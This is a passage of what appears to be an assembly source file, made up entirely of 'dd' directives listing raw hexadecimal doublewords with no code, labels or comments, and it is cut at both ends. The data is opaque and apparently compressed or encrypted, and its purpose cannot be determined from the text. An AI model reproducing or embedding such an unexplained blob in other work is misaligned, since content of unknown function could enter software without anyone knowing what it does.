83FE0214h, 37E565B8h, 0C28817E0h dd 87039E1Dh, 36A81E85h, 0F2950747h, 9315C1EDh, 468447F4h dd 2B6D900Ah, 881B3088h, 2CBA010Ah, 65A04044h, 54128C8Fh dd 80A1694h, 0B50AAC23h, 52786885h, 80078EDFh, 0B48CA1BDh dd 2BB81CD6h, 4C24A381h, 0C3471990h, 18A3E010h, 9450AE34h dd 908350BDh, 0B8DB507Bh, 0F5F0C37Eh, 0F824B3E2h, 23923015h dd 141B087Ch, 824CB2Bh, 140C0502h, 84A26125h, 20B49541h dd 78681A03h, 36B9D7EEh, 0E03037F0h, 0A7603885h, 29D2079h dd 0C084D491h, 0D8BC9462h, 8B46AA06h, 24308D5Eh, 0F8342A20h dd 0CB1B5742h, 8230A385h, 83889F1Dh, 359AC77Fh, 7024D5C3h dd 0E5F9041Dh, 8B96E8h, 7CCE76D3h, 70EB165Bh, 81096961h dd 0C1EFD168h, 2C60B5EFh, 0D62D00EEh, 0FBA4F0C4h, 27309650h dd 0E9EC305Ch, 0A138C06Ah, 0C7B5909Bh, 0AD000CFEh, 4B1163B4h dd 1D60936h, 8103ABA5h, 706DB70Dh, 700DF30Eh, 410C64CBh dd 58E84BDCh, 0FD071476h, 0B1960474h, 0F04CFF68h, 9C000839h dd 0D7987C2Dh, 38063187h, 78F553Fh, 0F0603209h, 89EF5F8h dd 0FBBB993Ch, 278CE400h, 0E604A9A6h, 0E05D0012h, 0AB5735C6h dd 0A50C8389h, 81EC03B3h, 6EEA0087h, 71A3D759h, 3F1E4273h dd 3AC0E319h, 0FC3BD15Ch, 369E036Fh, 0D80111ABh, 9BFD3900h dd 43282C2Bh, 19DB0040h, 67D4A182h, 701F8BEDh, 54C003E3h dd 0BB1657D2h, 144E2884h, 30247478h, 4C1017FAh, 530018DAh dd 948A1DEEh, 1321EF5h, 0D1E831FCh, 504B8302h, 0A19F4FD4h dd 3278D503h, 0E0193771h, 0F63775Bh, 0C4EA9C6h, 41DE3FC1h dd 0CF2BC0F3h, 0C439BB00h dd 75700704h, 0E0223B4Bh, 0E9DE6D80h, 0E7525F8Ah, 91C87800h dd 0B4571F10h, 0B93900FDh, 7149D2B6h, 0D70F699Dh, 3BC483Ch dd 87AA67h, 90B53B58h, 0B91BEBEDh, 30BB1437h, 0F975ADC0h dd 1BA47F76h, 38FA65B7h, 0EB2A5DE0h, 820003FAh, 5566C0E9h dd 6F0ADC5h, 6768C625h, 9D0028B7h, 83CB4179h, 77477C9h dd 0FF9BD5DCh, 0ED974036h, 0FC00A7C0h, 0C3B6FBCDh, 0F6B3921h dd 5F33DA42h, 0D8F30F5Fh, 1A73CBA0h, 32029C2Dh, 907E1B13h dd 0DA88A386h, 0D20800C8h, 15773B58h, 0EF00C27Ch, 0BC08CBB4h dd 9DBAB7h, 8206DC25h, 0C5D591FDh, 0F68EC02h, 43E627E5h dd 0FF36AB21h, 0F0B7F621h, 6BCCC8h, 1D3F2997h, 0FDBB7FB5h dd 0D0552714h, 0F85158Ch, 31A90084h, 9F16E1EDh, 14011DC5h dd 8E1E81A2h, 941F7576h, 9E045710h, 10C3B9CCh, 0FE6F009Fh dd 0FF52B791h, 51E0DF6Eh, 55E75600h, 0D38FACB2h, 7DB100E1h dd 0B8A6A250h, 0A130B352h, 3CDC28E0h, 0D5CB80CFh, 28419789h dd 42178A37h, 87045490h, 0B41F6120h, 0C08BEB80h, 0D0CE8228h dd 0CD006C3Eh, 1598BC71h, 1E17701h, 2FD23BA1h, 307938DDh dd 483C6E0Bh, 8761B922h, 8C7EA7CAh, 119C5CE0h, 8A665CBEh dd 48BCB303h, 86C0174Ch, 40008055h, 0A71BA996h, 7E5F264h dd 0BA9C61AAh, 8AEF0ABh, 0D8729814h, 3B7C883Ch, 0CE7A9E93h dd 4B7BD080h, 22E75Eh, 2A2E1AA0h, 543D02BDh, 1D47EE39h dd 80FA48B6h, 0E81D37CAh, 0AB7543h, 0F3C39A6Fh, 40E7BB58h dd 8C1ED600h, 838BD170h, 0F63A0039h, 0D090AB02h, 7B013692h dd 0D66A2DE3h, 0D0408B09h, 0FD3879h, 2BB6930h, 89CC7B37h dd 70AF0405h, 7B816DB0h, 92EC4B7Ch, 0A8F500C3h, 58EF0264h dd 8100C6DBh, 0C80655F9h, 193CCB6h, 0AC37BD11h, 0C8F35617h dd 9A00CDBBh, 7C5B08F9h, 0F289B33h, 0B111CC26h, 87A55E84h dd 4517A018h, 483A4421h, 24865C7Bh, 2500EE62h, 0A4997AE4h dd 74C0057h, 826EFE1h, 0F71F8CDBh, 0FDC0793Fh, 14419790h dd 0B95A0A8Dh, 0A9A66Ch, 2DBC313Ah, 911E8477h, 0DC5C36CAh dd 0E6C4C500h, 1EB98257h, 0D46AE1AFh, 1E03A403h, 91425DCAh dd 0C299E9E8h, 0E875C8E1h, 0DA498607h, 0C330D15Bh, 939516Dh dd 4C388993h, 0AF52AE84h, 8D155700h, 2F547Ch, 0E36DE1Fh dd 208B1AF2h, 0BD0CB170h, 48D4C71Ch, 84750181h, 0CE6B48ADh dd 6D9C2447h, 300D5ECh, 96ED3F78h, 5C758F53h, 0D1074ABFh dd 60378DA3h, 0D2D61CDDh, 0D5175600h, 0FE2EC943h, 0C78203D3h dd 24DC5B9Eh, 5022E800h, 87275908h, 7120001Eh, 0E7D692B2h dd 9400E0F2h, 0C399A04Ch, 0C08007D3h, 132C698Ch, 0C848A230h dd 0D95503F4h, 0A8023F83h, 45C7B7h, 25D8244Ah, 20FF13DBh dd 0CF488207h, 0C212A0DDh, 8755600Dh, 99C5008Bh, 16915EEFh dd 0ED0F6F76h, 71FB10h, 889C0D0h, 0B319001Eh, 4E942546h dd 0D4001BF5h, 24BCCDDDh, 9D5BC6h, 28A9AF7h, 0EE415450h dd 0DDF2000h, 33C247B9h, 1C01EEB6h, 541E362Ch, 0B01E5F3h dd 0D2EC9CAEh, 0B20FD43Fh, 90BAEF30h, 7DE39281h, 0E07000C4h dd 2DC5031Bh, 1800EC5Fh, 7C327E19h, 52740Ah, 4BD9FE41h dd 84518C17h, 1D3D6700h, 8BA609EAh, 0D69075h, 352DD881h dd 8AEB7052h, 9A9C7307h, 4AF54BD3h, 0AF80A087h, 0F07A6F5Eh dd 7F780076h, 39A27BEFh, 88009B1Ch, 4CC955A3h, 9C1896h dd 9E2371C3h, 54A9EE15h, 1B3D6E00h, 0FBE2B62Ch, 44400026h dd 0CEEB7439h, 280EE48Ah, 0A3F885h, 3EB40605h, 0A56F000Eh dd 0A9A24C1h, 4200132Eh, 104E81E5h, 6FD09h, 0F8AE49CEh dd 3633DD04h, 0CC6D750Eh, 3F5AC05Ch, 0A04F63h, 0F4B91696h dd 44B12D67h, 0DDC8F807h, 41010420h, 10F49F4Ch, 5A7300A0h dd 40B2F596h, 5B0FDD39h, 279C757h, 5D2CBAC5h, 9B61C9E0h dd 0F9568C00h, 354F3170h, 0FF87DCFh, 9F740CCh, 8FFB1C00h dd 4C00CA85h, 4ADCA30Ah, 1D1915Fh, 0AB63E6D2h, 0D8FCE857h dd 30000E0Fh, 1FA048F5h, 8DD7C1h, 2A4D4782h, 0CF77B6F0h dd 0B2853000h, 5AE6885Dh, 0F347FC7h, 630A3642h, 53AE3260h dd 99E25BB1h, 34446500h, 5F9A2BF9h, 95B2005Ch, 0DA4B40A6h dd 6800E55Ah, 11DBCC2Ch, 3AEB152Dh, 3A806B9Bh, 0C4EE1450h dd 2B133739h, 0C901D67Dh, 687491F1h, 2140B080h, 0E2EDC61Fh dd 30C32F2Eh, 0E9038413h, 0C8F75043h, 31A381h, 0B4B04486h dd 7E4CCC9Ah, 1447171Ch, 0A5B7C880h, 1C27DCh, 81686C4Fh dd 0D7D210C0h, 0A073E201h, 93E3F27Eh, 165CF0h, 5B8D8231h dd 888EA9Bh, 4E2D8B00h, 5A44C941h, 4C431C50h, 17FE4035h dd 7E450A53h, 0D4DF7200h, 868DC7F0h, 0E6B70082h, 88CB6F69h dd 0F6008391h, 6B7E2604h, 0E0C828h, 378EBA44h, 5F5C9CDFh dd 4357DC00h, 8412369Fh, 0D6BC00BFh, 0F17F0552h, 0FF00AC04h dd 0A37B0288h, 15871ECh, 0DDBE5E0Dh, 0F00C4131h, 0BB04B806h dd 68D33E64h, 0CB5964C0h, 954FE61Bh, 0F2A855C0h, 0FFF60C00h dd 0DCFA781Dh, 5D1C0047h, 2F628DCAh, 59010A93h, 7C1A8FB2h dd 73131F9h, 0FD49FD8h, 9D7DC998h, 818CE7E0h, 3400F851h dd 551842D7h, 6B3D5Ch, 0A7F4F0B3h, 0FCBA4D90h, 0F1744403h dd 0B8112494h, 1FF8084Eh, 3B5A828h, 975B4346h, 834F3CE0h dd 0C19FD00h, 0BA4D429h, 52EA0016h, 3903DB5Fh, 9F98E41Eh dd 1D7D2E07h, 0C4B54493h, 0BED65880h, 3F6E4B6h, 0B0521EB2h dd 41F8D99Bh, 8B24063Ch, 0F38E7030h, 4DA66050h, 376550Ch dd 0E5F93152h, 0E90DAEBh, 8D0091D7h, 3BE741FFh, 261D98C4h dd 352A9Bh, 0F4BFCFA1h, 0E000880Bh, 0DF564273h, 32C1D9h dd 119282E4h, 5A355178h, 1A0014B8h, 0ED01FB0Ch, 2807EFh dd 0BD580393h, 0AE66D565h, 0C0BE3600h, 0E4157C2Ch, 5C1FE027h dd 0D00315B3h, 0D52A89C8h, 0BAA58FA0h, 9D1D74ECh, 0A1801E34h dd 211D6EC4h, 659600F1h, 400C8101h, 5D00F378h, 12423277h dd 0EAA439C7h, 1984098Ah, 0DC87C831h, 0F89F808Fh, 0BB1D4483h dd 3A414A32h, 2C996049h, 0FCF1C8D0h, 4CF20089h, 0B9EF47A5h dd 8B004387h, 0F323A738h, 11239F0h, 0CDB22277h, 0DCB48092h dd 28378597h, 0A9002025h, 840C1Dh, 2E994B23h, 6F67AE11h dd 0E69CEB1Dh, 0F812BF00h, 0EA974B2h, 0CACF3BF0h, 0B3E7C09Eh dd 32A4634Eh, 8E36DB00h, 667782D8h, 9B9800BCh, 0CAA91593h dd 0AD0939D2h, 11BE3h, 6472A34Ch, 14363105h, 0E07B1320h dd 31003968h, 0A4E177Fh, 0C95ED20h, 0A985B67Eh, 6B7EC049h dd 0A4A1DA00h, 58DC6581h, 0A0F63D97h, 859A5483h, 40008233h dd 0DC59209Eh, 1CBB93DAh, 7A4F9C5Dh, 0EDBEEB80h, 1AF6E49Dh dd 3153B0C0h, 0AFD0A2h, 121FB9A3h, 6D3CE0BAh, 80562300h dd 0C4AEC1F0h, 833F00FEh, 0C31B0DAAh, 16021D01h, 4A97AC4Eh dd 0A6A48009h, 25BF7Dh, 538CAED4h, 49F9B907h, 0C96CAB00h dd 0C495CAACh, 0AF933A9Ch, 617916h, 0BE4163F8h, 0BD00472Ch dd 739B3523h, 34198Ah, 0D8C24EEEh, 0AD33B645h, 128CF801h dd 243ADABBh, 3632DE8h, 9F4DCAB3h, 49D04C6Ch, 3AE62331h dd 0D162800h, 0D6073BEAh, 0E21704BAh, 90CBB702h, 0AD9FAA18h dd 0FE7219B0h, 0C3A5B101h, 91807D7Bh, 0B303FD5h, 96DE004Fh dd 0D971864Eh, 940360A6h, 0F27D343Bh, 37CFE072h, 0B7280079h dd 0F33C925h, 0FB00A526h, 0B1920843h, 463D932h, 8040AAE6h dd 0A67080F1h, 0F400061Dh dd 0D523ECFDh, 0AD6C1Bh, 48D27CD6h, 7684D7F9h, 8E6D1800h dd 70BB7B21h, 0CC3200A7h, 0C25AC0EEh, 8974415Eh, 8F00F7EEh dd 0A67F7EE0h, 3F5B5DCh, 0CFCA4BAFh, 3BC91280h, 0CD9FCD3h dd 0ED083200h, 681906D6h, 0E2E40047h, 0FBFDE953h, 0F4E1B8A8h dd 3474813Dh, 0CB9BB900h, 6F1074FCh, 66A6004Bh, 32464FB3h dd 0A8052945h, 8AFC71BFh, 0DCFEC0FBh, 0A3005462h, 0C77AE183h dd 45B7C4h, 122DC8BCh, 87883998h, 0F509D3EEh, 0E81B06h dd 96BB6D24h, 59AA0009h, 63A1FFB3h, 0E103B63Dh, 0F9FEF2CCh dd 84CD00Fh, 682B001Bh, 0D7B59C9Eh, 0A8A0E8F7h, 0B3207FE2h dd 0DC53098Eh, 0E8807E86h, 4A81027h, 3A565904h, 0C2864677h dd 35FA0018h, 7F518D0h, 40CEE868h, 0EA82C01Dh, 30AAD40Dh dd 0C7591FCEh, 0E776659Ch, 6A00A190h, 0E90514F1h, 0ECE8E6AFh dd 8BE279h, 3082B4C8h, 17271824h, 0A0E44F00h, 0D9EBA4FEh dd 0CD1A0038h, 914AC9F5h, 0DE5AA658h, 5B0041B8h, 0BC67A7EDh dd 98005E96h, 2328B7C0h, 0A0063AD7h, 0B32A95h, 78A84D07h dd 63185825h, 0CD45CB00h, 0EEB68310h, 0BBC11343h, 0D4F307D3h dd 3F7820EDh, 0BE12E37Ah, 3600677Eh, 0CE407C32h, 0A9C2007Dh dd 5E2190Ch, 0C501265Ch, 0E7201E98h, 2DC49414h, 0C89A0Eh dd 0F9122C04h, 5FFC8B62h, 3E0FB103h, 0D0CDE77Ah, 765A56h dd 0F2F04D17h, 5159E6Eh, 1F003BE4h, 0E1D3938Ch, 4D5189h dd 26B783ABh, 6AF02F27h, 48B62500h, 0B35C1CCCh, 46560ACh dd 0F54EFECBh, 8113E800h, 2CEBB92Fh, 5C2E768Fh, 0E103354Ch dd 0DA94D203h, 0D0E591F1h, 7800439Fh, 4E140B06h, 13D2512h dd 17302141h, 809E3267h, 79420518h, 940D9Dh, 0B448E95Ch dd 0D4B03AB7h, 0C612C21Ch, 80572B09h, 4A39884Ah, 0A83F00B3h dd 0DC5AC8D2h, 20166B5Bh, 78A078F3h, 9C3700EEh, 0CE2DE9E0h dd 8A00D865h, 8849A655h, 0FE6C274Dh, 0FBC00101h, 0FFF0C62Fh dd 963E8CE5h, 0EF1030h, 4423F255h, 51B2CD17h, 6A094AB0h dd 0FD9DE233h, 1E9F6C00h, 520056F3h, 0EC49E398h, 1D3953F0h dd 400E687Ah, 0EB16117Eh, 0AE001F7Ch, 54D16143h, 0B476ACh dd 0A7298E93h, 85319B11h, 39EA4400h, 78E3A449h, 7C99B2h dd 47D4C226h, 42008261h, 13FE94ABh, 7F35E4Eh, 0C13EDEFBh dd 8BA4B334h, 121449A8h, 0A5273B03h, 0F02A0AADh, 364E07h dd 0DF3F182Fh, 9EF9892Dh, 947D1C00h, 0A2CD4D54h, 1D370561h dd 8040289Dh, 0EE5F0420h, 5BE35300h, 3F10B50Ch, 0AA4500CAh dd 1B7B93CCh, 6800BED9h, 0A848C637h, 13CA59DFh, 3621407h dd 9E0A9F5Ah, 7275E598h, 2B807B00h, 6061E76Ah, 437901CFh dd 73D4D0E8h, 2F5C61C0h, 185FBF80h, 3DF3E65h, 0B4D91F87h dd 59642013h, 87506A70h, 62003EE0h, 8077670Ch, 98062994h dd 24280008h, 0C621F2DEh, 36E08F1Eh, 0C8E53826h, 0C711D100h dd 793A9F89h, 64F8DEEFh, 0AF900D3h, 0EC3533ACh, 1F884F8h dd 0B036AF07h, 21D08506h, 0FFC93Bh, 66B74415h, 0E08097E6h dd 65499D07h, 0AE53DB28h, 7137A8A8h, 2F1200CBh, 7DCA6E1Ch dd 0A9006CA4h, 0FC0EDDDFh, 0FA021B4h, 0E3B1F128h, 0BFEAE0C3h dd 16048BB8h, 58006848h, 1B300018h, 0C9BAE82Dh, 0F74900B2h dd 1098C8BFh, 1300EF36h, 57F41DB8h, 2C1A32D5h, 7E42759h dd 102E77A7h, 3BD88BE0h, 45FB1618h, 0F6EC2F50h, 0F1C30BA7h dd 6F076C58h, 93ABD04Fh, 9E76043Ch, 5E2828C3h, 0A620EFCEh dd 749D6E0Eh, 2B460021h, 5CAAFF8Dh, 0D026B484h, 0DD00245Ah dd 0F99EA6CBh, 0D3A2045Dh, 8535BB39h, 0E140018Ch, 60321F83h dd 0E91D67F2h, 7E00BD92h, 77078148h, 0EDE0005h, 0F3F015CEh dd 0B4732376h, 0C80028DFh, 2AF7CB3h, 65F604B6h, 85E6E7E1h dd 5FCA0F4Fh, 34A005C9h, 0DA88F216h, 0E2E86600h, 0B71C8CAh dd 0D6800F83h, 926E247Ah, 0D28DE900h, 0B900B0CBh, 0AFFB9EE7h dd 752BDEF7h, 5F9A7055h, 5481E0F5h, 3C800200h, 1CF0B87Ah dd 93EA0E74h, 0A1E07C39h, 0D544DB16h, 2650701h, 0B714BBC5h dd 5A1CB6CCh, 0D0B7019Bh, 0E04C410Eh, 8D03FE7Eh, 6B753525h dd 0BFA0A104h, 71D73170h, 7EE50007h, 4F4A7D2Ch, 0E1009817h dd 95704B10h, 4CA18EAEh, 1181DCBh, 2EDFF8B7h, 0BE853Bh dd 78FC14ADh, 7499DCh, 3455123Eh, 15927752h, 686D7500h dd 261B2182h, 0B869753Fh, 0E0340050h, 759E8841h, 1206D809h dd 0A3818DAEh, 0DDE50011h, 86518E59h, 44007E84h, 58D149A7h dd 0E8299E2Fh, 16082867h, 6BDB05F0h, 0C09CEA69h, 8F97B19Dh dd 852AA900h, 58C5A139h, 0AB7009Bh, 8D43FCF5h, 3CECAEA5h dd 0B0821F00h, 3115561Bh, 54E70EC9h, 0EBE0D9D3h, 83B65558h dd 8824FE98h, 0B41F4811h, 46F22F40h, 0F40206h, 51949584h dd 9A0CB7F3h, 0B5C72700h, 8B0503B9h, 102830A6h, 629CFF38h dd 0B2C94E8h, 0C100A8A0h, 2827AF50h, 7A2A0058h, 0E69DE1DFh dd 51723DD1h, 1D2E7C00h, 0F7D508CEh, 8236E87h, 8F6D3FE0h dd 420385EEh, 0C0191669h, 0B770C726h, 7402A2ACh, 0C3B600FAh dd 3EB2700Bh, 615049A0h, 53E818E1h, 482AD748h, 0C3C00044h dd 594439FBh, 0C93401E8h, 401A22B1h, 0F52BF435h, 6CA9BD00h dd 0E19884Fh, 6744001Fh, 0D2451E3Ch, 9638D97Eh, 0A87601CFh dd 0F631540Fh, 8E854481h, 0F058052Eh, 0B900E1E9h, 6E394782h dd 3CEF42Ah, 8C0BF204h, 70DA3BF0h, 0CF710C8h, 0E0406FAh dd 9F273786h, 0C69E6880h, 0CF760784h, 0B0EE03C9h, 488667A4h dd 8074B139h, 0F35D7F8Dh, 2655C24Dh, 0C8D4h, 0BD06471Ch dd 0ED5CA419h, 5DD20093h, 0AFD7893Bh, 0FC900097h, 3C8552E7h dd 0D30096D0h, 4FB8A7Ah, 2FFA253h, 80F6E492h, 9C603E78h dd 0D13A6A26h, 0A6849ECDh, 1A6CF800h, 22946B9h, 3AA0B669h dd 14707F85h, 9A7ADB02h, 81F6C221h, 0DEB106F0h, 5FBCB000h dd 1F408B00h, 49D482CDh, 0ED0C0363h, 81B3ECF6h, 19FFA980h dd 0E9BB7000h, 601DDE0Fh, 3F0701E2h, 22FA0E79h, 30C020BFh dd 259C811Ch, 0F64FE8Bh, 8B8D4009h, 242238h, 6E7EF0BBh dd 335EDB56h, 3B47E000h, 0A2924B88h, 3CFB009Ah, 1C604DF1h dd 8B13E736h, 0F907B9D7h, 64307D8Fh, 3AA030C3h, 0F000B31Dh dd 5BEE8CC2h, 0D8A8B5B4h, 0E802A38Fh, 6C9E76EDh, 0B5E0981Ch dd 0B631002Ah, 4C081602h, 6C7DA234h, 1456D201h, 0DFBE2554h dd 497EF297h, 90426D48h, 9305D820h, 40826171h, 39BBC6B3h dd 0C8825215h, 0CE6C9411h, 0E5050878h, 8DC5EB05h, 19911CD0h dd 90B650F6h, 390B48A0h, 1AADF800h, 0EF7B7077h, 57DEC803h dd 80C399D4h, 1EC89B0h, 7A4E6E98h, 0D424E0A3h, 0B22666A7h dd 5E001E46h, 0BA9BC971h, 0F5E3008Fh, 0FF59ED6Bh, 0DA00B601h dd 841788BEh, 0F76D1C9h, 9D2F1009h, 506AAB00h, 970037C1h dd 244E5729h, 0CD2BEAh, 0C86973B5h, 0F8ED74FCh, 42D4A924h dd 0EE139504h, 0F5326C0h, 6BE60060h, 41F78637h, 35917D8h dd 0C8C20064h, 7173DE57h, 0ADCE0070h, 0FD6444D4h, 301E7616h dd 4B07B78Ch, 0FA301EACh, 302352D5h, 0E1198A0h, 0DA01E7E9h dd 116AD194h, 8FDAD59Eh, 0DB3F60E8h, 1526EFB3h, 0F403C338h dd 0A1BFB900h, 0A311EEE8h, 284EBD0Eh, 1E9D818Eh, 99813B4Fh dd 4885055Fh, 0A040E014h, 79AEEA12h, 31C7121Eh, 1C0622A5h dd 0C5F0C18h, 813817A2h, 83F97900h, 0ED56E749h, 132743Ah dd 0AD7F298Dh, 0CFA3B841h dd 743DD4B0h, 900F2F0h, 0BE1F5214h, 139F9C73h, 6281317h dd 81B23659h, 795200E5h, 0F63019D3h, 7C4C9C0h, 1DA3E480h dd 0C2CB0039h, 6BBF6917h, 450FF283h, 274C40Ch, 60A463C3h dd 0DA96DDh, 0E209F05Fh, 0DEC61BBDh, 0BAA0951Eh, 0ACD96880h dd 0F034E0Bh, 0B0FBA3E1h, 7022407Fh, 0D353E764h, 2821BC03h dd 0C9FEB124h, 3E704DB9h, 7032021Ah, 0E2CABA46h, 8534C860h dd 6F0C2F0Eh, 864700A3h, 1F3A50A6h, 0E2307Dh, 5F90D4BFh dd 5C0187B0h, 29D9E1F9h, 0C050CAEFh, 8E7D21h, 3DD3ABC7h dd 0CB4B076Dh, 394AEC15h, 0EA651DE4h, 0D0A17DDh, 0EC86C0BFh dd 213C31h, 0D638E182h, 16F4E4EEh, 0BCF26503h, 18F72FC6h dd 39B81741h, 44005B0Bh, 6A4B507Dh, 789A3Fh, 1447CE7Fh dd 5E31815Fh, 0BB99E00h, 0B51DD24Bh, 2BC50124h, 3796135h dd 2D2C303Ch, 5322AF0Eh, 0A1E9E027h, 0C4F4E89h, 163AF8E2h dd 51DCDD9h, 0B1000B84h, 3FE569FDh, 23BF00B5h, 753A55E0h dd 63F40622h, 0BEBB603h, 0A250DA84h, 0E61B6099h, 0F6CBEAA6h dd 823F0078h, 7F2D5130h, 0C81EABC2h, 0A603F738h, 468D14F4h dd 0BF810411h, 0F0DBF272h, 1B007DB6h, 0DA18D565h, 3C2829h dd 3D75A79Eh, 5768315Bh, 9CB59D1Dh, 0DDE97242h, 44DEC142h dd 5872920h, 4805D1A7h, 9918C0CEh, 0BD0022D7h, 0FA077829h dd 0DAE0E2h, 43F270E8h, 0FCE657C0h, 667C3800h, 0D4FB5120h dd 0A2AB008Dh, 0CFF85AB2h, 0AD07D285h, 487F245Bh, 927632A0h dd 0A2DB03F5h, 0EFD52005h, 6197CDC8h, 7487C00h, 0E1B72F16h dd 626400D3h, 301550C2h, 0C55C98AEh, 5C2B0077h, 1D1E6559h dd 86AD0181h, 84C9BA67h, 8ACD20B9h, 1FEB7503h, 0A060DDF4h dd 0F635F9h, 814D45F0h, 0F8BC8F6Ah, 99583Eh, 0DEB8C1Ch dd 0E86BFFBh, 0A0FE1D98h, 0B00FE340h, 43006282h, 5A509DD0h dd 658904h, 1C88ECFh, 5580DAE1h, 0D71D52FAh, 0B040C35Fh dd 99F87369h, 7EAE003Eh, 0F2710A1Dh, 79001538h, 318E2944h dd 43359Ah, 0AB596086h, 3340D480h, 0CA0E7000h, 0BA4FF1C6h dd 23910055h, 46F5C42h, 0AD1E4DA4h, 0DCA43DCh, 0EC40FC45h dd 0C3B7FCh, 0D79717CDh, 5E1F4F3Fh, 0B2691D00h, 31A113D6h dd 83C00004h, 4C985DA5h, 0DC00C6EAh, 238C382Bh, 177496ADh dd 6BD706h, 77F5CD4Ah, 13032C14h, 0DBDC89E0h, 431CC078h dd 0ABF800CEh, 0AEC1EF0Eh, 44007EE8h, 0EA763D61h, 547F04h dd 7AA81227h, 1B984E56h, 77CECD00h, 7128CC44h, 1DD60064h dd 3778F05Dh, 981E071Ah, 0B080E1C8h, 0B1336B4Eh, 0F0A0061h dd 0ECF4D23Ch, 9D0018A1h, 38E4CFCCh, 0EC78A51Fh, 42A40093h dd 0AD75B05Ah, 0F8758036h, 0BDFF9000h, 56B1E9AFh, 4CF000D8h dd 849A320Ah, 0D0E5A04Dh, 5F003814h, 0D07B45CBh, 268760D8h dd 0C18326h, 40535CAFh, 0B000A4ECh, 2744B3F9h, 3A60C421h dd 0F962CEh, 6C0EA064h, 0A8689E7Bh, 9842510Fh, 945FA09Ch dd 0E515CA26h, 9E4B5080h, 0B13AA87Dh, 5CC8A200h, 429CE191h dd 2CB0659h, 6A30D2E7h, 392B2A01h, 9683AC1Fh, 749D6D8h dd 16F5DBEDh, 4E295048h, 8E001F0Ch, 93B1888Ah, 0A277C1h dd 0AF383D84h, 19792368h, 2ADBD600h, 1F9840FCh, 0DE15610Eh dd 603B2720h, 190089D7h, 2EC976CFh, 1E0E86Eh, 29308AEBh dd 40C73B93h, 4DFB5CC4h, 0F8C29900h, 927217A0h, 48D0C09Ch dd 0BA75AE21h, 0AA93FD00h, 961CD8F7h, 0F5AF0008h, 0C30477A2h dd 15F051EAh, 9D939A00h, 0A6AC6A29h, 0AE122E25h, 154D1D09h dd 2D03B8D1h, 4564C3A2h, 0FAABB008h, 0C0F81D5Fh, 5DF7964Ah dd 0DE38330Ch, 0CE90831Dh, 0D188EF2Ah, 0AF85EDCh, 0E7A9A014h dd 8911072Fh, 0A0E32995h, 65E0BF81h, 97A7C700h, 68D0CE52h dd 0A0895032h, 93340090h, 0D253AAC6h, 0E9E844A3h, 26C86703h dd 0F6A64820h, 0D7C13EA0h, 12345616h, 2BA30184h, 0ECA14AF8h dd 0A43A2C8Dh, 98007BB7h, 18C56867h, 7D339BEAh, 23731CCCh dd 96C700F4h, 698E306Fh, 0CF000472h, 73ABFDBFh, 7C0C9B2h dd 1C3D5597h, 0F32B106Fh, 8C005119h, 0F03459A6h, 7E06E4h dd 6C7CC0DAh, 0AA95B87Dh, 483348h, 0DFA7F787h, 1D6D96Bh dd 0BD5273B3h, 0F48DCA46h, 2900A5D4h, 63A6112Bh, 6DA34h dd 425D74E6h, 40937D10h, 85AEF203h, 0D1B2ABBFh, 89C4C1FEh dd 15F6000Eh, 33111769h, 0CB0713C6h, 0E6414A71h, 20848C90h dd 7B0D01C4h, 0DBB3C545h, 3C1C20B4h, 0D121A200h, 839D6290h dd 0E5850694h, 115B0A08h, 0E1761D02h, 0D1DD89h, 38A49712h dd 9E07A00h, 1AA2B0C9h, 0FDC4041Dh, 0EBDE78D4h, 8B0EE681h dd 7F068B70h, 0AE6067Ch, 8885F13Dh, 0A1919A07h, 35104556h dd 6399443Ch, 0CF3E5EE7h, 6EEA74A0h, 6030F100h, 0E52A95AAh dd 3DD27A58h, 0A5008B25h, 80316596h, 3476E2C2h, 3DEAD00h dd 1FC026C1h, 434B096Ch, 86F799B2h, 0E198665h, 0E117A324h dd 3D3E1C40h, 9D00FAD6h, 0BC96CD7Bh, 889F8Eh, 1DA5A62Bh dd 879836E5h, 5B00E079h, 0D9E4723Bh, 190BD14h, 44C781D4h dd 0C16E629Eh, 4E48D873h, 36EAC100h, 0DFC95E10h, 65F700E3h dd 0C6B12146h, 0BA00DD7Dh, 146F9094h, 0FAA39Fh, 0D4BC722Eh dd 6AB33621h, 8794DB00h, 5655D0C2h, 960B3A83h, 51FAFC01h dd 30A7ABACh, 8D98655Ch, 83008A7Fh, 26408B2Ah, 78FB2E5h dd 4DFD4633h, 0BA8CB02Ch, 43171247h, 0A0004285h, 35C9D13Bh dd 71EF0BD8h, 0F2004C5Dh, 0FB9D6E7Dh, 80D2B938h, 0C105073Eh dd 1E7599ECh, 408C4B6Dh, 5CCB22DDh, 170E6A1Ch, 0E0FFF442h dd 2402C034h, 9C82007Dh, 99A7C435h, 1D001C54h, 5AF6F2BAh dd 4718078h, 0E6190731h, 0C414C056h, 0FA0339A6h, 1A6A66A8h dd 4AB90CCh, 20676DEh, 0CD911889h, 2CC898FFh, 0D80C0B9Eh dd 113472FDh, 2282002Eh, 0FA814F94h, 8D00A84Ch, 0FE0B71A5h dd 0D4AF59h, 1033B104h, 0D36A4235h, 0FB401100h, 0F7B3901Ch dd 0CAF4003Eh, 1AF648EFh, 3B3919C8h, 0CCFCA4C4h, 8C55C900h dd 0F58A856h, 5FF501A1h, 5E00660Fh, 65115BCAh, 0A018BB2Ch dd 405D6A0Fh, 0D074048Fh, 32413D6Fh, 8B4BFE00h, 7E87BAE9h dd 0CDAF8407h, 0E770CBB3h, 1D277852h, 80C84E54h, 0FCC1C9CFh dd 0A80C42EEh, 58FE5D5Ch, 0F4FE0B3h, 0A90B2D62h, 9BC5409Fh dd 9D0508F8h, 0EB9ACF00h, 77D9F43Ch, 4B261F6Eh, 0B05595A1h dd 57ABD700h, 1D1222DBh, 0B01307Ch, 6E3324Bh, 3064C789h dd 48C42C79h, 86C68094h, 0C16D64BAh, 7EC9BF00h, 363B676Eh dd 0E30005Ch, 9122F1C4h, 3900BB0Ch, 0C6856DBAh, 7A4AF29h dd 46E0BC7Ah, 882710F7h, 0CA7075B8h, 1CD09100h, 47AA8C71h dd 7F275BBh, 60A83D6Bh, 25570C8h, 5C00DD59h, 0EBFCC41h dd 3AD3AAh, 0CE9F44B8h, 0F19ADC1h, 4FC7A11Dh, 0B40EB556h dd 5A6E6040h, 7777211h, 7D9404E8h, 5856505Ch, 0F000D9F1h dd 3DD3B871h, 0B69ACB2h, 51530B8Ch, 0E7430B80h, 83013473h dd 5DC288D0h, 1AE81B4Dh, 807C001Eh, 0D33BCC1h, 2C009E9Dh dd 0DF99DD0Ch, 3FE991h, 0B9CF77B0h, 0E3522001h, 64CEDA0Ah dd 57D60457h, 3BB42041h, 67F804h, 0C709A83h, 10BA5AF8h dd 930B807Ah, 807D5C75h, 0AC15520Ah, 8630C056h, 